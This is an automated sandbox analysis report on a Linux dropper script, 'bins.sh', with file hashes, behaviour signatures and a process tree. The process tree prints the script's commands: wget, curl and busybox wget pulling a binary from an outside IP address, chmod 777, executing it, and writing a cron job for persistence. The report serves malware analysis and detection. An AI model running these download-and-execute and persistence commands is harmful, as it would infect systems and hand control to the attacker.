Analysis

  • max time kernel
    149s
  • max time network
    176s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240611-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    26/11/2024, 10:47

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    28dde49049a118c0f885cfad79f16e3a

  • SHA1

    d3a08ddf5320ee11f75b1d1aff7fb51ba3d4ea7e

  • SHA256

    145073114b8bc96b50de671b5b2ff9cc9da3620967e3228b6395fb82331a7a4d

  • SHA512

    40ab90fd82aceadfbd9598ea1465d293d03efadc589e158f7d24eb0b807a7d1a4e25a8cac3ca0cdda99f173f54a546942d140e353702fe1663d3f6ca8c7fb9d7

  • SSDEEP

    192:Bjj73NwwEttYL2L2LcLlLpLoXNtP4swediL2L2LcLlLpL4NtP4sOCl73Nwwg:Bjj73NwwE3Yi6oBNcXNtP4sl8i6oBNEi

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 1 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • Writes file to tmp directory 3 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:652
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:654
        • /usr/bin/wget
          wget http://216.126.231.240/bins/AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH
          2⤵
          • Writes file to tmp directory
          PID:656
        • /usr/bin/curl
          curl -O http://216.126.231.240/bins/AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:725
        • /bin/busybox
          /bin/busybox wget http://216.126.231.240/bins/AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH
          2⤵
          • Writes file to tmp directory
          PID:729
        • /bin/chmod
          chmod 777 AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH
          2⤵
          • File and Directory Permissions Modification
          PID:737
        • /tmp/AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH
          ./AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH
          2⤵
          • Executes dropped EXE
          • Renames itself
          • Reads runtime system information
          PID:738
          • /bin/sh
            sh -c "crontab -l"
            3⤵
              PID:740
              • /usr/bin/crontab
                crontab -l
                4⤵
                • Reads runtime system information
                PID:741
            • /bin/sh
              sh -c "crontab -"
              3⤵
                PID:744
                • /usr/bin/crontab
                  crontab -
                  4⤵
                  • Creates/modifies Cron job
                  PID:745
            • /bin/rm
              rm AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH
              2⤵
                PID:760
              • /usr/bin/wget
                wget http://216.126.231.240/bins/7Z3TfgM1Ei1Zeqn68OalbOgyX7IGs9H1KQ
                2⤵
                  PID:763

              Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • /tmp/AP1K35WxKGeFTxwsN2GTmHrCb00vwmfhnH

                Filesize

                177KB

                MD5

                786d75a158fe731feca3880f436082c0

                SHA1

                79ea2734e43d00cdeabed5586b2c1994d02aef3e

                SHA256

                5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

                SHA512

                7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

              • /var/spool/cron/crontabs/tmp.FhKyn1

                Filesize

                210B

                MD5

                cbed77b026ed5a4865782ce752e6d94f

                SHA1

                b0589abec3fbcfcce2fdc86ad18baa215e1b7c24

                SHA256

                0e4d15cccfef5f80f0d97c03b1db166897e61d909753cc94840294cec99b8411

                SHA512

                b46b8b56b55a35dfe85ac9b4374421c53036bf2be624268d4cbcdc9b82428c0eca2a50443f22d1dcbabc38003e624d4eacf051e953c09f0228d66575110fb752